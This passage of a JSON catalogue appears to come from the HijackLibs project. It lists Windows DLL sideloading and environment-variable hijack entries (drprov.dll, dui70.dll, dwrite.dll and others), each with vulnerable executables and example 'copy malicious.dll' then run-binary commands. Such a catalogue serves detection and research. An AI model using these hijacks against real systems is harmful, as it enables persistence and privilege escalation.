    "_source": "windows-dllhijack-dpx.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dpx.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dpx.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dpx",
    "name": "dpx.dll",
    "namespace": "windows:dllhijack:dpx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dpx.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious drprov.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\drprov.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# drprov.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\msdt.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\tabcal.exe (Environment Variable)\n- %SYSTEM32%\\verifier.exe (Environment Variable)\n- %SYSTEM32%\\workfolders.exe (Environment Variable)\n- %SYSTEM32%\\write.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-drprov.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "drprov.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "drprov.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-drprov",
    "name": "drprov.dll",
    "namespace": "windows:dllhijack:drprov",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/drprov.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious drvstore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\drvstore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\infdefaultinstall.exe\\\"\"\n\n# drvstore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\infdefaultinstall.exe (Sideloading)\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- hvciscan_amd64.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-drvstore.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "drvstore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "drvstore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-drvstore",
    "name": "drvstore.dll",
    "namespace": "windows:dllhijack:drvstore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://www.microsoft.com/en-us/download/details.aspx?id=105437"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/drvstore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dsclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dsclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dmcfghost.exe\\\"\"\n\n# dsclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\dstokenclean.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dsclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dsclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dsclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-dsclient",
    "name": "dsclient.dll",
    "namespace": "windows:dllhijack:dsclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dsclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dsp_bridge_x64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dsp_bridge_x64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"bridge_plugin_host_x64.exe\\\"\"\n\n# dsp_bridge_x64.dll\n\n**Vendor:** KuGou\n\n**Vulnerable Executables:**\n- bridge_plugin_host_x64.exe (Sideloading)\n",
    "_source": "windows-dllhijack-dsp-bridge-x64.md",
    "author": "Zhangir Ospanov",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dsp_bridge_x64.dll — Sideloading hijacking (KuGou)",
    "execution": {
      "template": "dsp_bridge_x64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dsp-bridge-x64",
    "name": "dsp_bridge_x64.dll",
    "namespace": "windows:dllhijack:dsp-bridge-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://x.com/s0ld133rr/status/2008531599626055984"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dsp-bridge-x64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dsparse.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dsparse.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dcdiag.exe\\\"\"\n\n# dsparse.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\rendom.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dsparse.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dsparse.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dsparse.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dsparse",
    "name": "dsparse.dll",
    "namespace": "windows:dllhijack:dsparse",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dsparse.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dsprop.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dsprop.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dsquery.exe\\\"\"\n\n# dsprop.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dsquery.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dsprop.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dsprop.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dsprop.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dsprop",
    "name": "dsprop.dll",
    "namespace": "windows:dllhijack:dsprop",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dsprop.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dsreg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dsreg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bitlockerdeviceencryption.exe\\\"\"\n\n# dsreg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bitlockerdeviceencryption.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dsreg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dsreg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dsreg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dsreg",
    "name": "dsreg.dll",
    "namespace": "windows:dllhijack:dsreg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dsreg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dsrole.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dsrole.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certutil.exe\\\"\"\n\n# dsrole.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\cipher.exe (Sideloading)\n- %SYSTEM32%\\csvde.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dsdbutil.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\gpfixup.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\winrs.exe (Sideloading)\n- %SYSTEM32%\\wsmanhttpconfig.exe (Sideloading)\n- %SYSTEM32%\\wsmprovhost.exe (Sideloading)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dsrole.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dsrole.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "dsrole.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dsrole",
    "name": "dsrole.dll",
    "namespace": "windows:dllhijack:dsrole",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dsrole.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dui70.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dui70.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bdeunlock.exe\\\"\"\n\n# dui70.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bdeunlock.exe (Sideloading)\n- %SYSTEM32%\\camerasettings.exe (Sideloading)\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\dmnotificationbroker.exe (Sideloading)\n- %SYSTEM32%\\dpapimig.exe (Sideloading)\n- %SYSTEM32%\\licensingui.exe (Sideloading)\n- %SYSTEM32%\\optionalfeatures.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\passwordonwakesettingflyout.exe (Sideloading)\n- %SYSTEM32%\\phoneactivate.exe (Sideloading)\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n- %SYSTEM32%\\sessionmsg.exe (Sideloading)\n- %SYSTEM32%\\sethc.exe (Sideloading)\n- %SYSTEM32%\\sysreseterr.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsremovedevice.exe (Sideloading)\n- %SYSTEM32%\\utilman.exe (Sideloading)\n- %SYSTEM32%\\windowsactiondialog.exe (Sideloading)\n- %SYSTEM32%\\wlrmdr.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dui70.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dui70.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "dui70.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dui70",
    "name": "dui70.dll",
    "namespace": "windows:dllhijack:dui70",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dui70.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious duilib_u.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\AnyViewer\\\\duilib_u.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"SplashWin.exe\\\"\"\n\n# duilib_u.dll\n\n**Vendor:** AnyViewer\n\n**Expected Location:** %PROGRAMFILES%\\AnyViewer\n\n**Vulnerable Executables:**\n- SplashWin.exe (Sideloading)\n\n**Acknowledgement:** Jose Oregon\n\n**Acknowledgement:** Austin Worline\n",
    "_source": "windows-dllhijack-duilib-u.md",
    "author": "Jose Oregon",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "duilib_u.dll — Sideloading hijacking (AnyViewer)",
    "execution": {
      "template": "duilib_u.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-duilib-u",
    "name": "duilib_u.dll",
    "namespace": "windows:dllhijack:duilib-u",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e770be8fba337cc01e24c7f059368526a804d2af64136a39bb84adeebcf9cfbc"
      },
      {
        "label": "Reference",
        "url": "https://bazaar.abuse.ch/sample/d99d382868e2e1191c2ac403d9985569d18e534883b3c64606d08847d68a96b6/"
      },
      {
        "label": "Reference",
        "url": "https://www.anyviewer.com/download.html"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/duilib-u.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious duser.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\duser.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bdeunlock.exe\\\"\"\n\n# duser.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bdeunlock.exe (Sideloading)\n- %SYSTEM32%\\displayswitch.exe (Sideloading)\n- %SYSTEM32%\\easeofaccessdialog.exe (Sideloading)\n- %SYSTEM32%\\lockscreencontentserver.exe (Sideloading)\n- %SYSTEM32%\\mmc.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\sessionmsg.exe (Sideloading)\n- %SYSTEM32%\\taskmgr.exe (Sideloading)\n- %SYSTEM32%\\utilman.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-duser.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "duser.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "duser.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-duser",
    "name": "duser.dll",
    "namespace": "windows:dllhijack:duser",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/0xcarnage/status/1203882560176218113"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/duser.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dusmapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dusmapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\datausagelivetiletask.exe\\\"\"\n\n# dusmapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\datausagelivetiletask.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dusmapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dusmapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dusmapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dusmapi",
    "name": "dusmapi.dll",
    "namespace": "windows:dllhijack:dusmapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dusmapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dwmapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dwmapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# dwmapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\devicepairingwizard.exe (Sideloading)\n- %SYSTEM32%\\displayswitch.exe (Sideloading)\n- %SYSTEM32%\\dxpserver.exe (Sideloading)\n- %SYSTEM32%\\fsquirt.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\lockscreencontentserver.exe (Sideloading)\n- %SYSTEM32%\\mblctr.exe (Sideloading)\n- %SYSTEM32%\\osk.exe (Sideloading)\n- %SYSTEM32%\\proximityuxhost.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\rdpshell.exe (Sideloading)\n- %SYSTEM32%\\rdvghelper.exe (Sideloading)\n- %SYSTEM32%\\sndvol.exe (Sideloading)\n- %SYSTEM32%\\snippingtool.exe (Sideloading)\n- %SYSTEM32%\\wmpdmc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dwmapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dwmapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dwmapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dwmapi",
    "name": "dwmapi.dll",
    "namespace": "windows:dllhijack:dwmapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dwmapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dwmcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dwmcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dwm.exe\\\"\"\n\n# dwmcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dwm.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dwmcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dwmcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dwmcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dwmcore",
    "name": "dwmcore.dll",
    "namespace": "windows:dllhijack:dwmcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dwmcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dwrite.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dwrite.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cttune.exe\\\"\"\n\n# dwrite.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cttune.exe (Sideloading)\n- %SYSTEM32%\\dataexchangehost.exe (Sideloading)\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %LOCALAPPDATA%\\Discord\\app-%VERSION%\\Discord.exe (Sideloading)\n- %LOCALAPPDATA%\\Framer\\app-%VERSION%\\Framer.exe (Sideloading)\n- %LOCALAPPDATA%\\slack\\app-%VERSION%\\slack.exe (Sideloading)\n- %LOCALAPPDATA%\\Programs\\Evernote\\Evernote.exe (Sideloading)\n- %LOCALAPPDATA%\\Programs\\Canva\\Canva.exe (Sideloading)\n- %LOCALAPPDATA%\\Programs\\Session\\Session.exe (Sideloading)\n- %LOCALAPPDATA%\\Programs\\Microsoft VS Code\\Code.exe (Sideloading)\n- %LOCALAPPDATA%\\element-desktop\\app-%VERSION%\\Element.exe (Sideloading)\n- %LOCALAPPDATA%\\GitHubDesktop\\app-%VERSION%\\GitHubDesktop.exe (Sideloading)\n- %LOCALAPPDATA%\\Programs\\GoLogin\\GoLogin.exe (Sideloading)\n- %LOCALAPPDATA%\\Programs\\Notion\\Notion.exe (Sideloading)\n- %PROGRAMFILES%\\Obsidian\\Obsidian.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-dwrite.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dwrite.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dwrite.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-dwrite",
    "name": "dwrite.dll",
    "namespace": "windows:dllhijack:dwrite",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://ctrlaltintel.com/research/FudCrypt-analysis-1/"
      },
      {
        "label": "Reference",
        "url": "https://code.visualstudio.com/docs/setup/windows"
      },
      {
        "label": "Reference",
        "url": "https://slack.com/help/articles/212475728-Deploy-Slack-via-Microsoft-Installer"
      },
      {
        "label": "Reference",
        "url": "https://www.framer.com/downloads/"
      },
      {
        "label": "Reference",
        "url": "https://dev.evernote.com/documentation/local/chapters/windows.php"
      },
      {
        "label": "Reference",
        "url": "https://docs.getsession.org/session-messenger/installing-session"
      },
      {
        "label": "Reference",
        "url": "https://www.canva.com/download/windows/"
      },
      {
        "label": "Reference",
        "url": "https://docs.element.io/latest/element-server-suite-classic/administration/configuring-element-desktop/"
      },
      {
        "label": "Reference",
        "url": "https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/installing-github-desktop"
      },
      {
        "label": "Reference",
        "url": "https://gologin.com/docs/getting-started/setup/"
      },
      {
        "label": "Reference",
        "url": "https://www.notion.com/help/deploy-notion-for-windows"
      },
      {
        "label": "Reference",
